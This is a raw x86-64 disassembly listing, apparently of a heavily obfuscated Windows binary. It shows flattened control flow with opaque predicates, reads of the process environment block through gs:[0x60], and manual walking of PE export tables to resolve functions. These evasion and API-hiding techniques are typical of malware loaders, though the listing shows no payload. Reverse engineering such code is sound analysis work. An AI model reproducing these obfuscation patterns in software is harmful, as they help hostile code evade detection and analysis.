mov dword [rbp + 0x584], 0xf4c3dc77
mov eax, dword [rbp + 0x584]
mov dword [rbp - 0x30], eax
sub eax, 0xf4c3dc77
je 0x14000b6b0
jmp 0x14000b698
mov eax, dword [rbp - 0x30]
sub eax, 0xf299275
je 0x14000b746
jmp 0x14000b6ab
jmp 0x14000b741
mov eax, 0x10
call fcn.14005d3a0
sub rsp, rax
mov eax, dword [rbp - 0x2c]
mov rcx, rsp
mov qword [rbp + 0x5a0], rcx
mov dword [rbp + 0x59c], eax
lea rax, [rbp + 0xb08]
mov qword [rbp + 0x590], rax
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x5a8], rax
mov rax, qword [rbp + 0x5a8]
mov rax, qword [rax + 8]
mov rcx, qword [rbp + 0x5a8]
mov rcx, qword [rcx + 0x10]
mov ecx, dword [rcx + 0x1c]
add rax, rcx
mov qword [rbp + 0x588], rax
mov rax, qword [rbp + 0x5a8]
mov rax, qword [rax + 8]
mov qword [rbp + 0x5b0], rax
mov rax, qword [rbp + 0x5a8]
mov rax, qword [rax + 0x10]
add rax, 0x24
mov qword [rbp + 0x5b8], rax
mov dword [rbp + 0x584], 0xf299275
jmp 0x14000b67f
mov rcx, qword [rbp - 0x28]
mov rax, qword [rbp + 0x5b8]
mov eax, dword [rax]
mov rdx, qword [rbp + 0x5b0]
add rdx, rax
mov rax, qword [rbp + 0x5a0]
mov qword [rax], rdx
mov rax, qword [rbp + 0x5a8]
mov rax, qword [rax + 8]
mov rdx, qword [rbp + 0x588]
mov r8, qword [rbp + 0x5a0]
mov r8, qword [r8]
mov r9d, dword [rbp + 0x59c]
movzx r8d, word [r8 + r9*2]
mov edx, dword [rdx + r8*4]
add rax, rdx
mov rsp, rcx
mov qword [rbp + 0x2d0], rax
mov ecx, dword [0x1400952e4]
mov eax, dword [0x1400952e0]
mov edx, ecx
add edx, 0xc2d7d929
sub edx, 1
sub edx, 0xc2d7d929
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6ef1cf86
mov ecx, 0x5db1c5dd
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x284], eax
jmp 0x14000d09e
mov dword [rbp + 0x284], 0xc4a2f11e
jmp 0x14000d09e
mov rax, qword [rbp + 0x2d0]
mov qword [rbp + 0x288], rax
mov dword [rbp + 0x284], 0x4b875680
jmp 0x14000d09e
mov dword [rbp + 0x284], 0xcaca0454
jmp 0x14000d09e
mov dword [rbp + 0x284], 0xe1905ae1
jmp 0x14000d09e
mov dword [rbp + 0x284], 0x625a7d38
jmp 0x14000d09e
mov dword [rbp + 0x284], 0x11dd70bd
jmp 0x14000d09e
mov eax, dword [0x1400952e4]
mov ecx, dword [0x1400952e0]
mov edx, eax
add edx, 0x981d0b17
sub edx, 1
sub edx, 0x981d0b17
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1db34af
mov ecx, 0xcda30ed4
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x284], eax
jmp 0x14000d09e
lea rax, [rbp + 0xb20]
mov qword [rbp + 0x688], rax
mov rax, qword [rbp + 0x688]
mov qword [rbp + 0x690], rax
mov rax, qword [rbp + 0x690]
mov rax, qword [rax]
mov qword [rbp + 0xad0], rax
mov rax, qword [rbp + 0xad0]
mov qword [rbp + 0xad8], rax
mov dword [rbp + 0xacc], 0x6e7b1264
mov eax, dword [rbp + 0xacc]
mov dword [rbp - 0x34], eax
sub eax, 0x8634269f
je 0x14000b9ad
jmp 0x14000b93c
mov eax, dword [rbp - 0x34]
sub eax, 0xc6209be7
je 0x14000b9fa
jmp 0x14000b94f
mov eax, dword [rbp - 0x34]
sub eax, 0xcb4010c1
je 0x14000ba7e
jmp 0x14000b962
mov eax, dword [rbp - 0x34]
sub eax, 0xf8bdf432
je 0x14000ba8d
jmp 0x14000b975
mov eax, dword [rbp - 0x34]
sub eax, 0x6e7b1264
je 0x14000b98d
jmp 0x14000b988
jmp 0x14000ba88
mov rax, qword [rbp + 0xad8]
mov rax, qword [rax]
mov qword [rbp + 0xae0], rax
mov dword [rbp + 0xacc], 0x8634269f
jmp 0x14000ba88
mov eax, dword [0x14009529c]
mov ecx, dword [0x140095298]
xor r8d, r8d
sub r8d, 1
mov edx, eax
add edx, r8d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcb4010c1
mov ecx, 0xc6209be7
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0xacc], eax
jmp 0x14000ba88
mov ecx, dword [0x14009529c]
mov eax, dword [0x140095298]
mov edx, ecx
add edx, 0xafb0e87f
sub edx, 1
sub edx, 0xafb0e87f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and r11b, cl
mov r9b, r8b
and r9b, 0xff
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xcb4010c1
mov ecx, 0xf8bdf432
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0xacc], eax
jmp 0x14000ba88
mov dword [rbp + 0xacc], 0xc6209be7
jmp 0x14000b923
mov rax, qword [rbp + 0xae0]
mov qword [rbp + 0x698], rax
mov dword [rbp + 0x684], 0x37deaf42
mov eax, dword [rbp + 0x684]
mov dword [rbp - 0x38], eax
sub eax, 0x32eb8ecd
je 0x14000baf6
jmp 0x14000babe
mov eax, dword [rbp - 0x38]
sub eax, 0x37deaf42
je 0x14000bad6
jmp 0x14000bad1
jmp 0x14000baf1
mov rax, qword [rbp + 0x690]
mov rcx, qword [rbp + 0x698]
mov qword [rax], rcx
mov dword [rbp + 0x684], 0x32eb8ecd
jmp 0x14000baa5
mov byte [rbp + 0x2df], 1
mov eax, dword [0x1400952e4]
mov ecx, dword [0x1400952e0]
mov edx, eax
sub edx, 0x9b7f326d
sub edx, 1
add edx, 0x9b7f326d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1db34af
mov ecx, 0xc54ee98b
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x284], eax
jmp 0x14000d09e
mov dword [rbp + 0x284], 0x83aae8bc
jmp 0x14000d09e
mov dl, byte [rbp + 0x2df]
mov eax, 0xf84fcbd8
mov ecx, 0xc6364616
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x284], eax
jmp 0x14000d09e
mov qword [rbp + 0x288], 0
mov dword [rbp + 0x284], 0x3086b8a3
jmp 0x14000d09e
mov ecx, dword [0x1400952e4]
mov eax, dword [0x1400952e0]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and r11b, cl
mov r9b, r8b
and r9b, 0xff
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x42fe6d0d
mov ecx, 0xa7b5d419
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x284], eax
jmp 0x14000d09e
mov eax, dword [0x1400952e4]
mov ecx, dword [0x1400952e0]
xor r8d, r8d
sub r8d, 1
mov edx, eax
add edx, r8d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x42fe6d0d
mov ecx, 0x6e732d6c
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x284], eax
jmp 0x14000d09e
mov dword [rbp + 0x284], 0xcaca0454
jmp 0x14000d09e
mov rax, qword [rbp + 0x288]
mov qword [rbp + 0x2e0], rax
mov dword [rbp + 0x284], 0xae112217
jmp 0x14000d09e
lea rax, [rbp + 0xb20]
mov qword [rbp + 0x318], rax
mov rax, qword [rbp + 0x318]
mov qword [rbp + 0x320], rax
mov dword [rbp + 0x314], 0xe677f171
mov eax, dword [rbp + 0x314]
mov dword [rbp - 0x3c], eax
sub eax, 0xe677f171
je 0x14000bce8
jmp 0x14000bcd0
mov eax, dword [rbp - 0x3c]
sub eax, 0x3603bf19
je 0x14000ca3e
jmp 0x14000bce3
jmp 0x14000ca39
mov rax, qword [rbp + 0x320]
mov qword [rbp + 0x328], rax
mov ecx, dword [0x1400952dc]
mov eax, dword [0x1400952d8]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [rbp + 0x736], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [rbp + 0x737], al
mov dword [rbp + 0x730], 0xcf21515d
mov eax, dword [rbp + 0x730]
mov dword [rbp - 0x40], eax
sub eax, 0xaa108aca
je 0x14000c43e
jmp 0x14000bd54
mov eax, dword [rbp - 0x40]
sub eax, 0xcbbc280b
je 0x14000ca21
jmp 0x14000bd67
mov eax, dword [rbp - 0x40]
sub eax, 0xcf21515d
je 0x14000bdb8
jmp 0x14000bd7a
mov eax, dword [rbp - 0x40]
sub eax, 0xd5f4819f
je 0x14000c45e
jmp 0x14000bd8d
mov eax, dword [rbp - 0x40]
sub eax, 0x1e7fa646
je 0x14000c42f
jmp 0x14000bda0
mov eax, dword [rbp - 0x40]
sub eax, 0x6592ea6f
je 0x14000bde7
jmp 0x14000bdb3
jmp 0x14000ca1c
mov al, byte [rbp + 0x736]
mov cl, byte [rbp + 0x737]
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd5f4819f
mov ecx, 0x6592ea6f
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x730], eax
jmp 0x14000ca1c
mov ecx, dword [0x1400952d4]
mov eax, dword [0x1400952d0]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [rbp + 0x796], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [rbp + 0x797], al
mov dword [rbp + 0x790], 0xa48de835
mov eax, dword [rbp + 0x790]
mov dword [rbp - 0x44], eax
sub eax, 0x9c2b8150
je 0x14000c1a1
jmp 0x14000be45
mov eax, dword [rbp - 0x44]
sub eax, 0xa48de835
je 0x14000bee2
jmp 0x14000be58
mov eax, dword [rbp - 0x44]
sub eax, 0xb0fd7152
je 0x14000c38a
jmp 0x14000be6b
mov eax, dword [rbp - 0x44]
sub eax, 0xda39901f
je 0x14000c1f3
jmp 0x14000be7e
mov eax, dword [rbp - 0x44]
sub eax, 0xf031f05e
je 0x14000c124
jmp 0x14000be91
mov eax, dword [rbp - 0x44]
sub eax, 0x7c7b1c5
je 0x14000c133
jmp 0x14000bea4
mov al, byte [rbp + 0x796]
mov cl, byte [rbp + 0x797]
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xda39901f
mov ecx, 0x1bd868cb
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x790], eax
jmp 0x14000c394
mov dword [rbp + 0x790], 0x7c7b1c5
jmp 0x14000c394
mov rax, qword [rbp + 0x798]
mov rax, qword [rax + 0x18]
mov qword [rbp + 0x7a0], rax
mov dword [rbp + 0x790], 0x2380b7d9
jmp 0x14000c394
mov eax, dword [0x1400952d4]
mov ecx, dword [0x1400952d0]
mov edx, eax
sub edx, 0xa3319218
sub edx, 1
add edx, 0xa3319218
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb0fd7152
mov ecx, 0x58729e44
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x790], eax
jmp 0x14000c394
mov rax, qword gs:[0x60]
mov qword [rbp + 0x930], rax
mov dword [rbp + 0x92c], 0x830227b9
mov eax, dword [rbp + 0x92c]
mov dword [rbp - 0x4c], eax
sub eax, 0x830227b9
je 0x14000c277
jmp 0x14000c226
mov eax, dword [rbp - 0x4c]
sub eax, 0xb907d830
je 0x14000c294
jmp 0x14000c239
mov eax, dword [rbp - 0x4c]
sub eax, 0xc6dbba3f
je 0x14000c318
mov rax, qword [rbp + 0x930]
mov qword [rbp + 0x938], rax
mov dword [rbp + 0x92c], 0xb907d830
jmp 0x14000c36f
mov ecx, dword [0x1400952cc]
mov eax, dword [0x1400952c8]
mov edx, ecx
add edx, 0xe73ca1ea
sub edx, 1
sub edx, 0xe73ca1ea
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcbd43faa
mov ecx, 0xc6dbba3f
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x92c], eax
jmp 0x14000c36f
jmp 0x14000c20d
mov dword [rbp + 0x790], 0x9c2b8150
jmp 0x14000be2c
mov dword [rbp + 0x730], 0xaa108aca
jmp 0x14000ca1c
mov rax, qword [rbp + 0x738]
mov rax, qword [rax]
mov qword [rbp + 0x740], rax
mov dword [rbp + 0x730], 0xcbbc280b
jmp 0x14000ca1c
mov ecx, dword [0x1400952d4]
mov eax, dword [0x1400952d0]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [rbp + 0x7ae], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [rbp + 0x7af], al
mov dword [rbp + 0x7a8], 0xa48de835
mov eax, dword [rbp + 0x7a8]
mov dword [rbp - 0x50], eax
sub eax, 0x9c2b8150
je 0x14000c7e1
jmp 0x14000c4bc
mov eax, dword [rbp - 0x50]
sub eax, 0xa48de835
je 0x14000c559
jmp 0x14000c4cf
mov eax, dword [rbp - 0x50]
sub eax, 0xb0fd7152
je 0x14000c9fc
jmp 0x14000c4e2
mov eax, dword [rbp - 0x50]
sub eax, 0xda39901f
je 0x14000c833
jmp 0x14000c4f5
mov eax, dword [rbp - 0x50]
sub eax, 0xf031f05e
je 0x14000c732
jmp 0x14000c508
mov eax, dword [rbp - 0x50]
sub eax, 0x7c7b1c5
je 0x14000c741
jmp 0x14000c51b
mov eax, dword [rbp - 0x50]
sub eax, 0x1bd868cb
je 0x14000c588
jmp 0x14000c52e
mov eax, dword [rbp - 0x50]
sub eax, 0x2380b7d9
je 0x14000c762
jmp 0x14000c541
mov al, byte [rbp + 0x7ae]
mov cl, byte [rbp + 0x7af]
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xda39901f
mov ecx, 0x1bd868cb
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x7a8], eax
jmp 0x14000ca06
mov rax, qword gs:[0x60]
mov qword [rbp + 0x8e8], rax
mov dword [rbp + 0x8e4], 0x830227b9
mov eax, dword [rbp + 0x8e4]
mov dword [rbp - 0x54], eax
sub eax, 0x830227b9
je 0x14000c60c
jmp 0x14000c5bb
mov eax, dword [rbp - 0x54]
sub eax, 0xb907d830
je 0x14000c629
mov rax, qword [rbp + 0x8e8]
mov qword [rbp + 0x8f0], rax
mov dword [rbp + 0x8e4], 0xb907d830
jmp 0x14000c6d2
jmp 0x14000c5a2
mov dword [rbp + 0x7a8], 0x7c7b1c5
jmp 0x14000ca06
mov rax, qword [rbp + 0x7b0]
mov rax, qword [rax + 0x18]
mov qword [rbp + 0x7b8], rax
mov dword [rbp + 0x7a8], 0x2380b7d9
jmp 0x14000ca06
mov ecx, dword [0x1400952d4]
mov eax, dword [0x1400952d0]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and r11b, cl
mov r9b, r8b
and r9b, 0xff
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb0fd7152
mov ecx, 0x9c2b8150
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x7a8], eax
jmp 0x14000ca06
mov eax, dword [0x1400952d4]
mov ecx, dword [0x1400952d0]
mov edx, eax
add edx, 0x6e399f17
sub edx, 1
sub edx, 0x6e399f17
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb0fd7152
mov ecx, 0x58729e44
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x7a8], eax
jmp 0x14000ca06
mov rax, qword gs:[0x60]
mov qword [rbp + 0x900], rax
mov dword [rbp + 0x8fc], 0x830227b9
mov eax, dword [rbp + 0x8fc]
mov dword [rbp - 0x58], eax
sub eax, 0x830227b9
je 0x14000c8b7
jmp 0x14000c866
mov eax, dword [rbp - 0x58]
sub eax, 0xb907d830
je 0x14000c8d4
jmp 0x14000c879
mov eax, dword [rbp - 0x58]
sub eax, 0xc6dbba3f
je 0x14000c953
jmp 0x14000c88c
mov eax, dword [rbp - 0x58]
sub eax, 0xcbd43faa
je 0x14000c9d7
jmp 0x14000c89f
mov eax, dword [rbp - 0x58]
sub eax, 0xe6a730b5
je 0x14000c9e6
mov rax, qword [rbp + 0x900]
mov qword [rbp + 0x908], rax
mov dword [rbp + 0x8fc], 0xb907d830
jmp 0x14000c9e1
mov ecx, dword [0x1400952cc]
mov eax, dword [0x1400952c8]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and r11b, cl
mov r9b, r8b
and r9b, 0xff
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xcbd43faa
mov ecx, 0xc6dbba3f
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x8fc], eax
jmp 0x14000c9e1
mov ecx, dword [0x1400952cc]
mov eax, dword [0x1400952c8]
mov edx, ecx
add edx, 0xaa0708ab
sub edx, 1
sub edx, 0xaa0708ab
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcbd43faa
mov ecx, 0xe6a730b5
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x8fc], eax
jmp 0x14000c9e1
mov dword [rbp + 0x8fc], 0xc6dbba3f
jmp 0x14000c84d
mov dword [rbp + 0x7a8], 0x9c2b8150
jmp 0x14000c4a3
jmp 0x14000bd3b
mov rax, qword [rbp + 0x740]
mov qword [rbp + 0x330], rax
mov dword [rbp + 0x314], 0x3603bf19
jmp 0x14000bcb7
mov rax, qword [rbp + 0x328]
mov rcx, qword [rbp + 0x330]
mov qword [rax], rcx
mov rax, qword [rbp + 0x320]
mov dword [rbp + 0x284], 0x480f306a
jmp 0x14000d09e
mov dword [rbp + 0x284], 0x7f7a4d1e
jmp 0x14000d09e
mov dword [rbp + 0x284], 0x6fa8f4a
jmp 0x14000d09e
mov rax, qword [rbp + 0x290]
mov dword [rbp + 0x284], 0x854da01f
jmp 0x14000d09e
mov dword [rbp + 0x4ac], 0x9cebfb3
mov eax, dword [rbp + 0x4ac]
mov dword [rbp - 0x5c], eax
sub eax, 0xa660b58f
je 0x14000cc3c
jmp 0x14000cabc
mov eax, dword [rbp - 0x5c]
sub eax, 0xf8bdbf0a
je 0x14000cc5c
jmp 0x14000cacf
mov eax, dword [rbp - 0x5c]
sub eax, 0x9cebfb3
je 0x14000cb0d
jmp 0x14000cae2
mov eax, dword [rbp - 0x5c]
sub eax, 0x1242f988
je 0x14000cb8c
jmp 0x14000caf5
mov eax, dword [rbp - 0x5c]
sub eax, 0x37774ae3
je 0x14000cc2d
jmp 0x14000cb08
jmp 0x14000cc57
mov ecx, dword [0x1400952b4]
mov eax, dword [0x1400952b0]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa660b58f
mov ecx, 0x1242f988
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x4ac], eax
jmp 0x14000cc57
movabs rax, 0x7269cf05c1b38541
mov qword [rbp + 0x4b0], rax
mov rax, qword [rbp + 0x4b0]
shr rax, 0x20
mov dword [rbp + 0x4b8], eax
mov ecx, dword [0x1400952b4]
mov eax, dword [0x1400952b0]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and r11b, cl
mov r9b, r8b
and r9b, 0xff
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa660b58f
mov ecx, 0x37774ae3
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x4ac], eax
jmp 0x14000cc57
mov dword [rbp + 0x4ac], 0xf8bdbf0a
jmp 0x14000cc57
movabs rax, 0x7269cf05c1b38541
mov qword [rbp + 0x4b0], rax
mov dword [rbp + 0x4ac], 0x1242f988
jmp 0x14000caa3
mov eax, dword [rbp + 0x4b8]
mov rax, qword [rbp + 0x290]
mov eax, dword [rax]
mov dword [rbp + 0x50c], eax
mov dword [rbp + 0x4fc], 0xa0c8cb78
mov eax, dword [rbp + 0x4fc]
mov dword [rbp - 0x60], eax
sub eax, 0xa0c8cb78
je 0x14000ccac
jmp 0x14000cc94
mov eax, dword [rbp - 0x60]
sub eax, 0xf71b7200
je 0x14000ccd7
jmp 0x14000cca7
jmp 0x14000ccd2
lea rax, [rbp + 0xb08]
mov qword [rbp + 0x500], rax
mov rax, qword [rbp + 0x500]
mov qword [rbp + 0x510], rax
mov dword [rbp + 0x4fc], 0xf71b7200
jmp 0x14000cc7b
mov rax, qword [rbp + 0x510]
mov rax, qword [rbp + 0x510]
mov rax, qword [rbp + 0x510]
mov dword [rbp + 0x284], 0x4d73e031
jmp 0x14000d09e
mov eax, dword [rbp + 0x2c4]
mov eax, dword [rbp + 0x2c8]
mov dword [rbp + 0x284], 0x25bdbd6b
jmp 0x14000d09e
mov rax, qword [rbp + 0x290]
mov eax, dword [rax]
mov dword [rbp - 0x6c], eax
mov rax, rsp
mov qword [rbp - 0x68], rax
mov dword [rbp + 0x5c4], 0xf4c3dc77
mov eax, dword [rbp + 0x5c4]
mov dword [rbp - 0x70], eax
sub eax, 0xf4c3dc77
je 0x14000cd64
jmp 0x14000cd4c
mov eax, dword [rbp - 0x70]
sub eax, 0xf299275
je 0x14000cdfa
jmp 0x14000cd5f
jmp 0x14000cdf5
mov eax, 0x10
call fcn.14005d3a0
sub rsp, rax
mov eax, dword [rbp - 0x6c]
mov rcx, rsp
mov qword [rbp + 0x5e0], rcx
mov dword [rbp + 0x5dc], eax
lea rax, [rbp + 0xb08]
mov qword [rbp + 0x5d0], rax
mov rax, qword [rbp + 0x5d0]
mov qword [rbp + 0x5e8], rax
mov rax, qword [rbp + 0x5e8]
mov rax, qword [rax + 8]
mov rcx, qword [rbp + 0x5e8]
mov rcx, qword [rcx + 0x10]
mov ecx, dword [rcx + 0x1c]
add rax, rcx
mov qword [rbp + 0x5c8], rax
mov rax, qword [rbp + 0x5e8]
mov rax, qword [rax + 8]
mov qword [rbp + 0x5f0], rax
mov rax, qword [rbp + 0x5e8]
mov rax, qword [rax + 0x10]
add rax, 0x24
mov qword [rbp + 0x5f8], rax
mov dword [rbp + 0x5c4], 0xf299275
jmp 0x14000cd33
mov rax, qword [rbp - 0x68]
mov rcx, qword [rbp + 0x5f8]
mov ecx, dword [rcx]
mov rdx, qword [rbp + 0x5f0]
add rdx, rcx
mov rcx, qword [rbp + 0x5e0]
mov qword [rcx], rdx
mov rcx, qword [rbp + 0x5e8]
mov rcx, qword [rbp + 0x5e0]
mov rsp, rax
mov dword [rbp + 0x284], 0xe713f06
jmp 0x14000d09e
lea rax, [rbp + 0xb20]
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x6a8]
mov qword [rbp + 0x6b0], rax
mov rax, qword [rbp + 0x6b0]
mov rax, qword [rax]
mov qword [rbp + 0xab0], rax
mov rax, qword [rbp + 0xab0]
mov qword [rbp + 0xab8], rax
mov dword [rbp + 0xaac], 0x6e7b1264
mov eax, dword [rbp + 0xaac]
mov dword [rbp - 0x74], eax
sub eax, 0x8634269f
je 0x14000cf0a
jmp 0x14000ce99
mov eax, dword [rbp - 0x74]
sub eax, 0xc6209be7
je 0x14000cf89
jmp 0x14000ceac
mov eax, dword [rbp - 0x74]
sub eax, 0xcb4010c1
je 0x14000d00d
jmp 0x14000cebf
mov eax, dword [rbp - 0x74]
sub eax, 0xf8bdf432
je 0x14000d01c
jmp 0x14000ced2
mov eax, dword [rbp - 0x74]
sub eax, 0x6e7b1264
je 0x14000ceea
jmp 0x14000cee5
jmp 0x14000d017
mov rax, qword [rbp + 0xab8]
mov rax, qword [rax]
mov qword [rbp + 0xac0], rax
mov dword [rbp + 0xaac], 0x8634269f
jmp 0x14000d017
mov ecx, dword [0x14009529c]
mov eax, dword [0x140095298]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcb4010c1
mov ecx, 0xc6209be7
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0xaac], eax
jmp 0x14000d017
mov ecx, dword [0x14009529c]
mov eax, dword [0x140095298]
mov edx, ecx
sub edx, 0x270ef1ff
sub edx, 1
add edx, 0x270ef1ff
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and r11b, cl
mov r9b, r8b
and r9b, 0xff
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xcb4010c1
mov ecx, 0xf8bdf432
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0xaac], eax
jmp 0x14000d017
mov dword [rbp + 0xaac], 0xc6209be7
jmp 0x14000ce80
mov rax, qword [rbp + 0xac0]
mov qword [rbp + 0x6b8], rax
mov dword [rbp + 0x6a4], 0x37deaf42
mov eax, dword [rbp + 0x6a4]
mov dword [rbp - 0x78], eax
sub eax, 0x32eb8ecd
je 0x14000d085
jmp 0x14000d04d
mov eax, dword [rbp - 0x78]
sub eax, 0x37deaf42
je 0x14000d065
jmp 0x14000d060
jmp 0x14000d080
mov rax, qword [rbp + 0x6b0]
mov rcx, qword [rbp + 0x6b8]
mov qword [rax], rcx
mov dword [rbp + 0x6a4], 0x32eb8ecd
jmp 0x14000d034
mov dword [rbp + 0x284], 0xcda30ed4
jmp 0x14000d09e
mov dword [rbp + 0x284], 0xa7b5d419
jmp 0x140008a79
mov rax, qword [rbp + 0x60]
mov rcx, qword [rbp + 0x2e0]
mov rsp, rax
mov dword [rbp + 0x1dc], 0x65aac4f8
jmp 0x1400040d4
mov rax, qword [rbp + 0x210]
mov r9d, dword [rax]
mov rax, qword [rbp + 0x1f8]
mov r8d, dword [rax]
